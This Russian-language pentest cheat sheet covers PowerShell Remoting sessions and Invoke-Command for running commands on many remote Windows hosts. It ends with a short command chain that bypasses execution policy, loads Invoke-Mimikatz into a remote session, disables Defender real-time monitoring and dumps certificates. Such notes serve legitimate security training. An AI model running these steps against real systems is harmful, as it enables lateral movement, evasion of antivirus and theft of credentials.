Удаленный запуск скриптов (with privesc)

Intro

Есть легальный способ удаленного запуска скриптов на других тачках (как psexec, но разрешено системой)

Включено по умолчанию, начиная с Windows Server 2012

Возможно, понадобиться включить удаленное исполнение (Enable-PSRemoting) на Win Desktop машине (привилегии админа для этого необходимы)

Мы получим shell с повышенными правами на удаленной системе, если admin creds используются для аутентификации (это настройки по умолчаний).

PowerShell Remoting

One-to-One

PSSession - Интерактивная - Запускается в новом процессе (wsmprovhost) - Stateful

Использует cmdlets: - New-PSSession - Enter-PSSession

One-to-Many (Fan-out)

не интерактивна команды запускаются параллельно

Использует cmdlets: - Invoke-Command

Invoke-Command

Запускает команды и скрипты: - на нескольких удаленных компьютерах - in disconnected sessions (v3) - как фоновая служба и многое др

Лучшая штука в PowerShell для передачи хешей, использования кредов и запуска команд на множестве удаленных компьютеров

Для передачи username/password использовать параметр -Credential

Примеры

Basic Usage

# Новая сессия
$target_sess = New-PSSession -ComputerName TARGET
# Список доступных сессий PSRemoting
Get-PSSession
# Зайти в сессию (сможем выполнять команды на удаленном сервере с правами текущего пользователя)
Enter-PSSession $target_sess
# Закрыть сессию
Remove-PSSession $target_sess

Подключение с использованием логина и пароля

$Username = 'domain\myuser'
$Password = 'P@ssw0rd'
$pass = ConvertTo-SecureString -AsPlainText $Password -Force
$Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass

Invoke-Command -ComputerName TARGET.domain.corp -ScriptBlock {whoami; hostname} -Credential $Cred

$target_sess = New-PSSession -ComputerName target.domain.corp -Credential $Cred
Enter-PSSession $target_sess

Invoke-Command

# Для запуска команд или скриптов, разделенных точкой с запятой
Invoke-Command –Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_servers>)

# Для запуска скриптов из файлов:
Invoke-Command –FilePath C:\MyScript.ps1 -ComputerName (Get-Content <list_of_servers>)

# Для запуска Stateful команд:
$Sess = New-PSSession –Computername SomeServer1
Invoke-Command –Session $Sess –ScriptBlock {$Proc = Get-Process}
Invoke-Command –Session $Sess –ScriptBlock {$Proc.Name} 

При соединении с удаленным сервером будет импортирован Invoke-Mimikatz.ps1

[my comp] PS> powershell -ep bypass
[my comp] PS> $Sess = New-PSSession –Computername SomeServer1
[my comp] PS> Invoke-Command –Session $Sess -FilePath .\Invoke-Mimikatz.ps1
[my comp] PS> Enter-PSSession $Sess
[SomeServer1] PS> Set-MpPreference -DisableRealtimeMonitoring $true
[SomeServer1] PS> Invoke-Mimikatz -DumpCerts

Last updated